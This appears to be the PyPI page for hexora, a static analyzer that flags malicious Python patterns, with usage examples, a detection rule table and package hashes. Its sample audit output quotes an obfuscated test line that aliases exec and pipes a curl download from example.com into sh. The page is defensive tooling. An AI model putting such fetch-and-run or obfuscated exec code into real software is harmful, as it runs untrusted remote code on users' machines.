Static analysis of malicous Python scripts.
Project description
hexora
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
It can be used to:
- Audit project dependencies to catch potential supply-chain attacks
- Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
- Analyze IoC files from past security incidents
- Audit new packages uploaded to PyPi.
Examples
For output examples, please see docs/examples.md file.
Installation
Using Python
Requires Python 3.9+.
pip install hexora
Using uv:
uv tool install hexora
Usage
hexora --help
Audit single file
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
Audit directory
hexora audit --output-format terminal resources/test/
Audit packages from virtual environment
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Where python3.11 is the version of the Python in virtual environment.
Tips:
- Use
--excludeto suppress certain rule codes (e.g., noisy imports) for a given run - Use
--min-confidenceto focus on high-confidence findings only.
Confidence indicates how a certain piece of code is malicious. Some of the libraries are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some of the matches have a low confidence level.
Usage in Python
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Available rules
New rules are added regularly.
Right now, the following rules are available:
| Code | Name | Description |
|---|---|---|
| HX1000 | AppEnumeration | Suspicious application enumeration. |
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
| HX1020 | PathEnumeration | Suspicious path enumeration. |
| HX2000 | ClipboardRead | Reading from the clipboard. |
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
| HX3000 | CodeExec | Possible code execution. |
| HX3010 | ShellExec | Execution of a shell command. |
| HX3020 | DunderShellExec | Execution of a shell command via __import__. |
| HX3030 | DunderCodeExec | Execution of code via __import__. |
| HX3040 | DLLInjection | Possible DLL injection. |
| HX4000 | ObfuscateShellExec | Execution of an obfuscated shell command. |
| HX4010 | ObfuscatedCodeExec | Execution of obfuscated code. |
| HX4020 | ObfuscatedDunderShellExec | Execution of an obfuscated shell command via __import__. |
| HX4030 | ObfuscatedDunderCodeExec | Execution of obfuscated code via __import__. |
| HX5000 | DunderImport | Suspicious use of __import__. |
| HX5010 | SuspiciousImport | Suspicious import. |
| HX5020 | CtypesImport | Suspicious ctypes import. |
| HX5030 | PickleImport | Suspicious pickle import. |
| HX5040 | StructImport | Suspicious struct import. |
| HX5050 | SocketImport | Suspicious socket import. |
| HX5060 | MarshalImport | Suspicious marshal import. |
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
| HX6060 | PathTraversal | Suspicious path traversal. |
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
| HX7020 | SuspiciousVariable | Suspicious variable name. |
| HX8000 | BinaryDownload | Suspicious binary download. |
| HX8010 | BuiltinsVariable | Suspicious builtin variable usage. |
Credits
For parsing, we use AST parser from ruff library.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distributions
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file hexora-0.1.2.tar.gz.
File metadata
- Download URL: hexora-0.1.2.tar.gz
- Upload date:
- Size: 4.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
56b27a3674d54e2ab5c1a48ecdffc048d6878c5cdddaea6f9854a154d4ec7ecc
|
|
| MD5 |
15bf2572b5bb1565956917ceae838950
|
|
| BLAKE2b-256 |
80486e5a956889a2cf6453a3c1fda596096a5dc0e8831a95488d68a2ef2ecaf3
|
File details
Details for the file hexora-0.1.2-cp313-cp313-win_amd64.whl.
File metadata
- Download URL: hexora-0.1.2-cp313-cp313-win_amd64.whl
- Upload date:
- Size: 2.0 MB
- Tags: CPython 3.13, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
2d65f7fe11be5ac9e570a90991a0cf73c7fd745ea76ff5f432a02ca7439b990e
|
|
| MD5 |
1786b14c0d0a2e8f4c9988e7c7369b20
|
|
| BLAKE2b-256 |
3726c20890e22e5e29b4c8d0decc44812db028290f149020ee53c7b8c38127d9
|
File details
Details for the file hexora-0.1.2-cp313-cp313-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp313-cp313-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.13, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0098fb0ef853c30f5455f68b95e4240f24baf8559ad7b84f10f80d4847cba9af
|
|
| MD5 |
3f93910e01005e67a1ec968a4b1050ff
|
|
| BLAKE2b-256 |
87a927dd4c4d10eaf6f4644183f3861466ccfedaf583b39638c0312b15318159
|
File details
Details for the file hexora-0.1.2-cp313-cp313-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp313-cp313-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.13, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
722589bd9f014fc758a5a790e4f4b38da72b8480e30a3be47be42277feb0eb91
|
|
| MD5 |
18afa1fcbb801ef68f8ff03b36542063
|
|
| BLAKE2b-256 |
019692d7f4d325dd9cf0b77ba06d9b8a5acb1d0b5f659910b6d8462f7b5bcb90
|
File details
Details for the file hexora-0.1.2-cp313-cp313-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.1.2-cp313-cp313-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.13, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
814f51a8ea938c08d2cd5f6c89d281b54736d96bfa1f79710e042d92cee833ca
|
|
| MD5 |
6c505ae1682670495a906fa52c8f9eed
|
|
| BLAKE2b-256 |
0c37a838f68a6d90ca9b25aa28776d54d50c613ba6f21e9682696148c0541df7
|
File details
Details for the file hexora-0.1.2-cp313-cp313-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.1.2-cp313-cp313-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.13, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
05ba1ae4f69f690ce2285e31409641ac76061fd5359dcdb7945c394c217f710b
|
|
| MD5 |
667ec39144722efa1128c09860b65399
|
|
| BLAKE2b-256 |
872ba48788b0b31c75e268e127dedd701676110ae438cd7c0cfdba052d570274
|
File details
Details for the file hexora-0.1.2-cp313-cp313-macosx_10_13_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp313-cp313-macosx_10_13_x86_64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.13, macOS 10.13+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d0a68eac270337123926a75be5238d8b866ea2d8cdf566f1e34ad262c3aac6ed
|
|
| MD5 |
35db01eb192f02ceb7c5851336a7df70
|
|
| BLAKE2b-256 |
e06e2c5f3db4ed76f40dc7b926ac5bd333a0f41135d09af72e1571b0d94874f9
|
File details
Details for the file hexora-0.1.2-cp312-cp312-win_amd64.whl.
File metadata
- Download URL: hexora-0.1.2-cp312-cp312-win_amd64.whl
- Upload date:
- Size: 2.0 MB
- Tags: CPython 3.12, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
22ae1fd4c91941a68a023eb25763d60ca9d8f3135086c9855d9aead5bff068b0
|
|
| MD5 |
5aa7dfe6b65f418d32f1b51795b4be3d
|
|
| BLAKE2b-256 |
831fb72768bf28a5a9f682b6a08c9751004e6e7820bd2ee637bb0ecd62e32b00
|
File details
Details for the file hexora-0.1.2-cp312-cp312-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp312-cp312-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.12, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
aac98ec77d968e3602a7e1f7f687f20f5fbe5313c7fc662f9035c6bc68f79675
|
|
| MD5 |
470574beb73b484396e5c57d84acdf84
|
|
| BLAKE2b-256 |
906187f0a2a914ba290b3e83c590f2383aac70522a70b68401d2a5f762a80fc5
|
File details
Details for the file hexora-0.1.2-cp312-cp312-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp312-cp312-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.12, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
eefd52dea9743a089f3d91b797fce684cabc4786c96684e114187a828d1578ba
|
|
| MD5 |
d993f00aa72a67798db9001294434487
|
|
| BLAKE2b-256 |
40a2a973713f5193c8c51421d4d930945f01a62c938ca5122f35051a41a1a9b9
|
File details
Details for the file hexora-0.1.2-cp312-cp312-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.1.2-cp312-cp312-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.12, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
4aabea16fa679597fd523d3fe6c629fc8a4745daefb1ae460275b20e46da25d5
|
|
| MD5 |
0d258b1cd0e0f3d49a962905de18a50e
|
|
| BLAKE2b-256 |
c61d5d1c6717eadce320b0aeac3bf2a4dfba541ac1463ec003284e03a7bd74dd
|
File details
Details for the file hexora-0.1.2-cp312-cp312-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.1.2-cp312-cp312-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.12, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d37295666c31c4e8a7a229b7534eb44473dfd6ad5a16e428b7a0db1201e371a9
|
|
| MD5 |
84c1010c29e5e7c6e0a7b1debeb4665a
|
|
| BLAKE2b-256 |
77fbbff2a3337c26c84a9c1bf5687b6db4016312bd0b399bc8db2521313b2a8a
|
File details
Details for the file hexora-0.1.2-cp312-cp312-macosx_10_13_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp312-cp312-macosx_10_13_x86_64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.12, macOS 10.13+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
9430ee73505c376e75c74013f649b73ad01bb8a8c2aa3ab0bfaf7df64b007404
|
|
| MD5 |
d45dd333b06aaf83168c221d5123fcac
|
|
| BLAKE2b-256 |
49cbb5a9a0699b2ad61a230039c8d351ca81ca1c0eaa1d648e90002fa92efb09
|
File details
Details for the file hexora-0.1.2-cp311-cp311-win_amd64.whl.
File metadata
- Download URL: hexora-0.1.2-cp311-cp311-win_amd64.whl
- Upload date:
- Size: 2.0 MB
- Tags: CPython 3.11, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a5c0fc99aec5b90f3f971a75349254689d76a5652942b101cf88aac78b5b3496
|
|
| MD5 |
40efb7126551c23ab91e8db0c6ea3e2c
|
|
| BLAKE2b-256 |
66987242dcb678294c5bcd594c55ad82a4fc619383d849f68407da0701ac0625
|
File details
Details for the file hexora-0.1.2-cp311-cp311-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp311-cp311-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.11, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
2a33f511efc72f8be3c033099dfdc341166f75246953443035c6cd0036ec63f5
|
|
| MD5 |
02699376a5b4e9713e2ea317c8383c67
|
|
| BLAKE2b-256 |
43830e6ec15e24a97dfc6d823a3d8d7079c3464b06b3b98fab600b00e5d5b065
|
File details
Details for the file hexora-0.1.2-cp311-cp311-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp311-cp311-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.11, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
547dd3306ca0957b3fd9cf7842e040209f119943587a32cc58fd9562d8af66f2
|
|
| MD5 |
2d994edd8030fb9a6c0bc042cfadaa95
|
|
| BLAKE2b-256 |
41d82066fe717edb9608a6581f49df167f03c7b075ffb3b584aaf1643df079f5
|
File details
Details for the file hexora-0.1.2-cp311-cp311-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.1.2-cp311-cp311-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.11, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5f2fef28b449e41e8ca99e9d2038d5beb5cc7a67374b428582128a47a84a0a9d
|
|
| MD5 |
c84590d977afea6080d87202df75e0da
|
|
| BLAKE2b-256 |
6d0e293efd62fa87b73ab055468d258a227e081aa37610d2294e10b49a6d9629
|
File details
Details for the file hexora-0.1.2-cp311-cp311-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.1.2-cp311-cp311-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.11, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
566355ad2b341d5be25dabd374a3a8f4867f4fe77d7c44dd71bb85a28e2784f6
|
|
| MD5 |
cf899a8c52059238cdb70ab9c4705b8a
|
|
| BLAKE2b-256 |
f9464b64131aeb53ebaf55282def69e1f1d52dc38ff502c2d342078598ef91f9
|
File details
Details for the file hexora-0.1.2-cp311-cp311-macosx_10_12_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp311-cp311-macosx_10_12_x86_64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.11, macOS 10.12+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ddc9bf7077c40cdb7648ce71efd17eb8cbed2384f9b09851f830412d7fdeb113
|
|
| MD5 |
539a12ef76f4052dbabb33b99ea673f9
|
|
| BLAKE2b-256 |
734ef5e903166ca31b78a61b56a8a7cadd95c59e6182452fbd054c744951c1d0
|
File details
Details for the file hexora-0.1.2-cp310-cp310-win_amd64.whl.
File metadata
- Download URL: hexora-0.1.2-cp310-cp310-win_amd64.whl
- Upload date:
- Size: 2.0 MB
- Tags: CPython 3.10, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3dfbce33381eb4964837b5c45d7a23cfbfa0264025eaf4562b9830a49424eea0
|
|
| MD5 |
e9b32a1307692d0eb6615a6020edb7a5
|
|
| BLAKE2b-256 |
f673f966d1029cc638165fa6647a8b2d773a0e6befb0b0acf7ca195315798c36
|
File details
Details for the file hexora-0.1.2-cp310-cp310-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp310-cp310-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.10, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
dccbc1e1577f9a6c0a703a968a86c581d266c951fc79fda966db988a4dc05d6a
|
|
| MD5 |
68467f59a88e90e46463bf1146fb36c5
|
|
| BLAKE2b-256 |
0f8adacca8b5a22f3c0b2b555a6911178dcd9a8e9baa282bfb09952f73ea3c11
|
File details
Details for the file hexora-0.1.2-cp310-cp310-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp310-cp310-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.10, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
26b75a28eaa6d5165fadab89e205c063409b3ab26e259f1f3d2db44d5a409c21
|
|
| MD5 |
1bef9bc4c6f3ca4388ca92ecb0bfb26f
|
|
| BLAKE2b-256 |
620fafb05344dda034921b8534675df0d40b9282ef3ce182ff8978d78d6a42b9
|
File details
Details for the file hexora-0.1.2-cp310-cp310-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.1.2-cp310-cp310-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.10, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7d9156f2839a6e0c135a3609c91543a892f2aced38f409a9dc2785a6f29ef453
|
|
| MD5 |
c65bf417400c3e286838dc690e584b59
|
|
| BLAKE2b-256 |
9db269e04aad95b12fcc7aec87631b0c02bbe05b34fbfe052629cfc576275ee2
|
File details
Details for the file hexora-0.1.2-cp310-cp310-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.1.2-cp310-cp310-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.10, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f08b7b1f9750a872f783ecce751528bee9ccf24123269647794535ed23c7a69a
|
|
| MD5 |
64a11eb531b52bd2d851270b095eea6c
|
|
| BLAKE2b-256 |
b293b1194496c6f81ba6f7629ce8a2c5770b0b7b1720474d8b4899f2ec217a13
|
File details
Details for the file hexora-0.1.2-cp310-cp310-macosx_10_12_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp310-cp310-macosx_10_12_x86_64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.10, macOS 10.12+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b82e858031570319f0c7ad0d9bd60addf3f821b750cf3cfa35a83c21f30e341b
|
|
| MD5 |
b44d8881bcd965340c2297203231956d
|
|
| BLAKE2b-256 |
e9757487c144a0961b5f632ae8e21d374566fcabe69919f4e904fdf7bf2a9b84
|
File details
Details for the file hexora-0.1.2-cp39-cp39-win_amd64.whl.
File metadata
- Download URL: hexora-0.1.2-cp39-cp39-win_amd64.whl
- Upload date:
- Size: 2.0 MB
- Tags: CPython 3.9, Windows x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3f81d45aba499922c9ebe9634040c54b34dae8eff00f0a1d079c8aad66868d41
|
|
| MD5 |
86b479858d7e1b2ce8015a1e50ca9a39
|
|
| BLAKE2b-256 |
5c4263a839a5c398326c997db4e589a96ef4e0fbf3c1fcb1f81ea547bad103a7
|
File details
Details for the file hexora-0.1.2-cp39-cp39-musllinux_1_2_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp39-cp39-musllinux_1_2_x86_64.whl
- Upload date:
- Size: 2.5 MB
- Tags: CPython 3.9, musllinux: musl 1.2+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b8e47543dde3381fe1f46660be5609bc1b716e79433336d22d94356eca403373
|
|
| MD5 |
a1d22ad01f61eab99d0acdc43d711c02
|
|
| BLAKE2b-256 |
896c562f089bfd50399b7e4e769dbad5bd4ec072c2317984e10d9ec65154787c
|
File details
Details for the file hexora-0.1.2-cp39-cp39-manylinux_2_28_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp39-cp39-manylinux_2_28_x86_64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.9, manylinux: glibc 2.28+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5c51a3126fc31a5ea59a9125ec1dfc8a189e06204a314d5cf709f4d4b1c30f96
|
|
| MD5 |
fc2726e4e010c43880a56f354d869ff4
|
|
| BLAKE2b-256 |
90c84e74c869a5fd1fe3f55e7b8f649de21331cb21c3b3ac902afa753beafa08
|
File details
Details for the file hexora-0.1.2-cp39-cp39-manylinux_2_28_aarch64.whl.
File metadata
- Download URL: hexora-0.1.2-cp39-cp39-manylinux_2_28_aarch64.whl
- Upload date:
- Size: 2.4 MB
- Tags: CPython 3.9, manylinux: glibc 2.28+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
db0df889a25da203c7530abd2e84f9f60033420b99324e57b5a73caae69d5f05
|
|
| MD5 |
88e1845cfd7c55826dacbfe1893d45fd
|
|
| BLAKE2b-256 |
da3c0715c9fb4f14fed667b91a77c141beb8f804e7e980304fe0a0c0ac0a8fc8
|
File details
Details for the file hexora-0.1.2-cp39-cp39-macosx_11_0_arm64.whl.
File metadata
- Download URL: hexora-0.1.2-cp39-cp39-macosx_11_0_arm64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.9, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
486774c0f1b0636b20811dca3ff80bbd51535b3cb7c2f7512eccd73b799ddcf6
|
|
| MD5 |
239f3af8e3cadc70935ad01482ecb40e
|
|
| BLAKE2b-256 |
e0594a5d409f2fd9c22c22891f2550a33410d14556fac7a375e6ab9efb550371
|
File details
Details for the file hexora-0.1.2-cp39-cp39-macosx_10_12_x86_64.whl.
File metadata
- Download URL: hexora-0.1.2-cp39-cp39-macosx_10_12_x86_64.whl
- Upload date:
- Size: 2.2 MB
- Tags: CPython 3.9, macOS 10.12+ x86-64
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
351922a872261e1ea08589439ea0637fd154caff248884fa8fa5353a9f11e655
|
|
| MD5 |
f047875e4c121bea6e63cf96de214dcc
|
|
| BLAKE2b-256 |
019770bd177ea22f2ec68043082f8dee349764359fe5e767781dcf9260f64fce
|